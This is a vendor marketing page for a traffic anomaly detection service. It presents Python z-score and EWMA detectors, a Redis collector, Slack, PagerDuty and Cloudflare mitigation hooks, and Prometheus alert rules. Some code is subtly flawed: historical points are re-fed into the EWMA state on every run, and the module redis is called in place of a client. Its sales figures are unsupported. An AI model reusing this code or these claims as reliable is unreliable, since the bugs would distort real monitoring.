Traffic Anomaly Detection: EWMA, Prometheus, Alerts
Imagine: on Thursday evening, /api/checkout suddenly gets a spike of 500 errors. Monitoring stays silent because the static threshold isn't breached — the peak is only 30% of the daily max (just 300 requests per second instead of 1000). Three hours later you notice the problem from customer complaints. Or another scenario: a scraper starts hammering the catalog, sending 10,000 requests per minute — a standard rate limit doesn't trigger because the traffic is distributed across IPs. We deploy a traffic anomaly detection system that spots such spikes within 5 seconds and sends an alert to Slack. No false positives on seasonal peaks. We have 10+ years of experience building monitoring systems and have implemented over 50 anomaly detection projects. For example, with a client that has 50,000 unique visitors per day, we reduced detection time from 3 hours to 5 seconds. Savings from implementation can run into tens of thousands of dollars per year by cutting downtime. Get an engineer's consultation to tune thresholds for your traffic.
How Traffic Anomaly Detection Works
Our detector combines two statistical methods: EWMA (Exponentially Weighted Moving Average) and z-score on a sliding window. The first adapts to trends, the second catches sharp outliers. According to EWMA, it's an exponential smoothing method. We wrap this into a service that collects metrics in real-time via Redis, analyzes every minute, and sends alerts with automatic mitigation. Detection time is reduced by 99% compared to manual log analysis.
Why Standard Monitoring Systems Fall Short
Typical Zabbix or Nagios use static thresholds. They give false positives on traffic peaks during sales hours and miss slow leaks. Our system is adaptive: it adjusts to seasonality and trends. We tune sensitivity individually for your traffic profile, using historical data from 2–4 weeks. For example, during Black Friday, we automatically raise thresholds to avoid false alerts. This allowed one client to reduce incident response time from 2 hours to 10 minutes.
How the Anomaly Detection System Is Built
We combine EWMA and z-score on a sliding window. EWMA responds faster to trends, z-score catches sharp outliers better. For long-term baselines we use Prometheus with quantile-based rules. The detector is written in Python but can be ported to Go for high-load systems (10,000+ RPS).
What Counts as an Anomaly?
We identify three types of anomalies:
- Volume: RPS, bandwidth, number of unique IPs rise sharply (e.g., from 100 to 5000 in a minute).
- Structural: ratio of HTTP methods changes (e.g., a sharp rise in GET when the norm is 70/30 GET/POST), increase in requests to specific endpoints.
- Quality: error rate 4xx/5xx rises, p99 latency breaks historical norm, increase in 404 ratio (scanning).
| Anomaly Type | Signs | Example Scenario |
|---|---|---|
| Volume | RPS > 3σ, bandwidth > 2σ | Scraping, DDoS attack |
| Structural | Ratio of methods changes, endpoints | Spam bots, vulnerability scanning |
| Quality | Error rate > 10%, p99 > 2s | Backend failure, resource leak |
Method Comparison
| Method | Sensitivity to Outliers | Sensitivity to Trends | False Positives | Resources |
|---|---|---|---|---|
| Z-score (sliding window) | High | Low | Medium | Low |
| EWMA | Medium | High | Low | Low |
| Prometheus rules (avg_over_time) | Medium | Medium | Medium | Medium |
| Machine Learning (Isolation Forest) | High | High | Low | High |
Which Statistical Methods Are Used?
Statistical Detection Methods
import numpy as np
from collections import deque
import time
class TrafficAnomalyDetector:
def __init__(self, window_size=60, sensitivity=3.0):
"""
window_size: size of the sliding window in points (seconds/minutes)
sensitivity: threshold in sigmas (z-score)
"""
self.window_size = window_size
self.sensitivity = sensitivity
self.metrics = {} # {metric_name: deque of values}
def _get_window(self, metric: str) -> deque:
if metric not in self.metrics:
self.metrics[metric] = deque(maxlen=self.window_size)
return self.metrics[metric]
def add_point(self, metric: str, value: float):
"""Add a new data point"""
self.metrics.setdefault(metric, deque(maxlen=self.window_size)).append(value)
def check(self, metric: str, current_value: float) -> dict:
"""Check if the current value is an anomaly"""
window = self._get_window(metric)
if len(window) < 10:
# Not enough data
return {'anomaly': False, 'reason': 'insufficient_data'}
values = list(window)
mean = np.mean(values)
std = np.std(values)
if std == 0:
z_score = 0 if current_value == mean else float('inf')
else:
z_score = abs(current_value - mean) / std
is_anomaly = z_score > self.sensitivity
direction = 'spike' if current_value > mean else 'drop'
return {
'anomaly': is_anomaly,
'z_score': round(z_score, 2),
'direction': direction if is_anomaly else None,
'current': current_value,
'baseline_mean': round(mean, 2),
'baseline_std': round(std, 2),
'threshold': round(mean + self.sensitivity * std, 2)
}
Exponential Weighted Moving Average (EWMA)
Better at responding to trends, not sensitive to single outliers:
class EWMADetector:
def __init__(self, alpha=0.1, k=3.0):
"""
alpha: smoothing factor (0.05–0.2)
k: number of standard deviations for threshold
"""
self.alpha = alpha
self.k = k
self.ewma = {} # {metric: {'mean': float, 'variance': float}}
def update_and_check(self, metric: str, value: float) -> dict:
if metric not in self.ewma:
self.ewma[metric] = {'mean': value, 'variance': 0}
return {'anomaly': False}
state = self.ewma[metric]
mean = state['mean']
variance = state['variance']
# Update EWMA mean and variance
new_mean = self.alpha * value + (1 - self.alpha) * mean
new_variance = (1 - self.alpha) * (variance + self.alpha * (value - mean) ** 2)
state['mean'] = new_mean
state['variance'] = new_variance
std = np.sqrt(new_variance) if new_variance > 0 else 0
threshold_high = new_mean + self.k * std
threshold_low = max(0, new_mean - self.k * std)
is_anomaly = value > threshold_high or value < threshold_low
return {
'anomaly': is_anomaly,
'direction': 'spike' if value > threshold_high else 'drop',
'current': value,
'expected': round(new_mean, 2),
'threshold_high': round(threshold_high, 2),
'deviation_pct': round(abs(value - new_mean) / max(new_mean, 1) * 100, 1)
}
Real-Time Metrics Collection
import redis
from datetime import datetime
import threading
class MetricsCollector:
def __init__(self, redis_client):
self.r = redis_client
self.detector = EWMADetector(alpha=0.1, k=3.5)
self.alert_cooldown = {} # prevent alert spam
def record_request(self, status_code: int, path: str,
latency_ms: float, method: str):
"""Called in middleware for each request"""
now = int(time.time())
minute = now - (now % 60)
pipe = self.r.pipeline()
# RPS counter
pipe.incr(f"metrics:rps:{now}")
pipe.expire(f"metrics:rps:{now}", 300)
# Errors
if status_code >= 400:
pipe.incr(f"metrics:errors:{now}")
pipe.expire(f"metrics:errors:{now}", 300)
# Latency (histogram in Redis)
latency_bucket = int(latency_ms / 100) * 100
pipe.hincrby(f"metrics:latency:{minute}", str(latency_bucket), 1)
pipe.expire(f"metrics:latency:{minute}", 3600)
# Endpoint counter
endpoint = f"{method}:{path.split('?')[0][:50]}"
pipe.hincrby(f"metrics:endpoints:{minute}", endpoint, 1)
pipe.expire(f"metrics:endpoints:{minute}", 3600)
pipe.execute()
def analyze_current_window(self):
"""Analyze the last 60 seconds and return anomalies"""
now = int(time.time())
anomalies = []
# Collect RPS for the last 60 seconds
rps_values = []
for i in range(60):
t = now - i
val = self.r.get(f"metrics:rps:{t}")
rps_values.append(int(val or 0))
current_rps = rps_values[0]
# Update detector with historical data
for v in reversed(rps_values[1:]):
self.detector.update_and_check('rps', v)
result = self.detector.update_and_check('rps', current_rps)
if result['anomaly']:
anomalies.append({
'metric': 'rps',
'severity': 'high' if result['deviation_pct'] > 200 else 'medium',
**result
})
# Error rate
total = sum(rps_values[:60]) or 1
error_keys = [self.r.get(f"metrics:errors:{now-i}") for i in range(60)]
total_errors = sum(int(v or 0) for v in error_keys)
error_rate = total_errors / total
err_result = self.detector.update_and_check('error_rate', error_rate)
if err_result['anomaly'] and error_rate > 0.1:
anomalies.append({
'metric': 'error_rate',
'severity': 'critical' if error_rate > 0.3 else 'high',
**err_result
})
return anomalies
Alerting and Automatic Mitigation
class AnomalyAlertManager:
def __init__(self, slack_webhook, pagerduty_key):
self.slack = slack_webhook
self.pd = pagerduty_key
self.active_incidents = {}
def handle_anomalies(self, anomalies: list):
for anomaly in anomalies:
key = f"{anomaly['metric']}_{anomaly['direction']}"
# Cooldown: don't spam the same alert
if self.active_incidents.get(key, 0) > time.time() - 300:
continue
self.active_incidents[key] = time.time()
if anomaly['severity'] == 'critical':
self._page_oncall(anomaly)
self._auto_mitigate(anomaly)
elif anomaly['severity'] == 'high':
self._notify_slack(anomaly)
def _notify_slack(self, anomaly: dict):
import requests
icon = ':rotating_light:' if anomaly['direction'] == 'spike' else ':arrow_down:'
requests.post(self.slack, json={
'text': f"{icon} *Traffic anomaly detected*\n"
f"Metric: `{anomaly['metric']}`\n"
f"Current: `{anomaly['current']}` (expected: `{anomaly['expected']}`)\n"
f"Deviation: `+{anomaly['deviation_pct']}%`\n"
f"Z-score: `{anomaly.get('z_score', 'N/A')}`"
})
def _auto_mitigate(self, anomaly: dict):
"""Automatic protective actions for critical anomalies"""
if anomaly['metric'] == 'rps' and anomaly['direction'] == 'spike':
# Enable emergency rate limit
redis.setex('emergency_rate_limit', 300, '50') # 50 req/s globally
# Notify Cloudflare to enable Under Attack Mode via API
self._enable_cloudflare_attack_mode()
def _enable_cloudflare_attack_mode(self):
import requests
requests.patch(
f"https://api.cloudflare.com/client/v4/zones/{CF_ZONE_ID}/settings/security_level",
headers={'Authorization': f'Bearer {CF_API_TOKEN}'},
json={'value': 'under_attack'}
)
Prometheus + Grafana Alerting
# prometheus/alerts.yml
groups:
- name: traffic_anomalies
rules:
- alert: RequestRateSpike
expr: |
rate(http_requests_total[1m]) >
(avg_over_time(rate(http_requests_total[1m])[1h:1m]) * 3)
for: 2m
labels:
severity: critical
annotations:
summary: "Request rate spike: {{ $value }} req/s"
- alert: ErrorRateCritical
expr: |
rate(http_requests_total{status=~"5.."}[5m]) /
rate(http_requests_total[5m]) > 0.1
for: 1m
labels:
severity: critical
annotations:
summary: "Error rate {{ $value | humanizePercentage }}"
- alert: LatencyP99Spike
expr: |
histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m])) > 2
for: 3m
labels:
severity: high
annotations:
summary: "P99 latency {{ $value }}s"
How to Integrate the Detector into Your Existing Infrastructure
We connect to any metric sources: Prometheus, StatsD, Cloudflare Analytics, nginx logs. We support export to OpenMetrics and OpenTelemetry formats. For quick integration, we provide ready Docker Compose and Terraform configs. The entire process takes 1 to 3 days depending on stack complexity. Get an engineer's consultation to adapt to your stack.
How to Implement the Anomaly Detector: Step-by-Step Guide
- Audit current infrastructure. We collect historical metric and log data for 2–4 weeks, analyze traffic profile.
- Select algorithm and tune thresholds. We set EWMA parameters (alpha 0.05–0.2) and z-score (k 3–5) for your stack.
- Integrate with metric sources. Deploy the collector on Redis/Prometheus, connect log aggregator.
- Configure alerts and auto-mitigation. Set up channels (Slack, PagerDuty, Telegram) and automatic protection scripts (Cloudflare Under Attack Mode, rate limiting).
- Test and launch. Prototype on 1 week of data, formal testing, and activation in production.
Common Implementation Mistakes
A frequent issue is incorrect window size. A too-small window causes many false positives, a too-large window misses fast anomalies. We select the window size individually, analyzing daily and weekly cycles. Another typical mistake is ignoring seasonality (e.g., Black Friday). Our detector uses historical data from similar periods.
What's Included in the Work
- Diagnostics: analysis of current metrics and logs, threshold selection.
- Implementation: detector code (Python, Go, or Lua), Prometheus rules configuration.
- Integration: Slack, PagerDuty, Telegram, Cloudflare API.
- Documentation: algorithm description, deployment instructions, playbook scenarios.
- Training: how to configure and retrain the detector for traffic changes.
- Support: 2 weeks post-production guarantee (SLA on response time).
Timeline and Cost
Turnkey implementation takes 3 to 5 business days depending on infrastructure complexity. Pricing is determined individually after an audit. Implementation savings can amount to tens of thousands of dollars per year by cutting detection time by 99% and reducing downtime by up to 80%. Contact us for a consultation and receive a free audit of your monitoring system.